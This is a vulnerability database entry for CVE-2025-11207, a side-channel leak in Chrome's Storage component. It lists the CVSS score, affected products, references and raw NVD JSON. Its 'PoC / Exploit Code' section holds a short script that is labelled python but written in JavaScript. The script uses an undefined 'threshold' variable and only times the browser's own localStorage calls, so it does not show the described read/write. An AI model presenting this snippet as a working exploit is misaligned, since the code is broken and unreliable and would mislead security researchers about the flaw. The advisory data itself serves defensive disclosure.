CVE-2025-11207

Description

Side-channel information leakage in Storage in Google Chrome prior to 141.0.7390.54 allowed a remote attacker to perform arbitrary read/write via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 141.0.7390.54

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

const targetDomain = 'https://target-site.com';
const storageKey = 'sensitive_data';
const iterations = 1000;

function measureAccessTime(key) {
    const start = performance.now();
    try {
        localStorage.setItem(key, 'test');
        localStorage.getItem(key);
        localStorage.removeItem(key);
    } catch (e) {}
    return performance.now() - start;
}

function inferData() {
    const times = [];
    for (let i = 0; i < iterations; i++) {
        times.push(measureAccessTime(storageKey));
    }
    const avgTime = times.reduce((a, b) => a + b, 0) / times.length;
    console.log('Average access time:', avgTime);
    return avgTime > threshold ? 'Data exists' : 'No data';
}

inferData();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11207
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11207
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11207/
[4] VulDB https://vuldb.com/cve/CVE-2025-11207
[5] https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop_30.html
[6] https://issues.chromium.org/issues/428189824

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11207", "sourceIdentifier": "[email protected]", "published": "2025-11-06T22:15:38.607", "lastModified": "2025-11-13T15:30:46.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Side-channel information leakage in Storage in Google Chrome prior to 141.0.7390.54 allowed a remote attacker to perform arbitrary read/write via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1300"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "141.0.7390.54", "matchCriteriaId": "008031A0-CC1E-47CF-A136-90F4FE1FA9A7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop_30.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/428189824", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}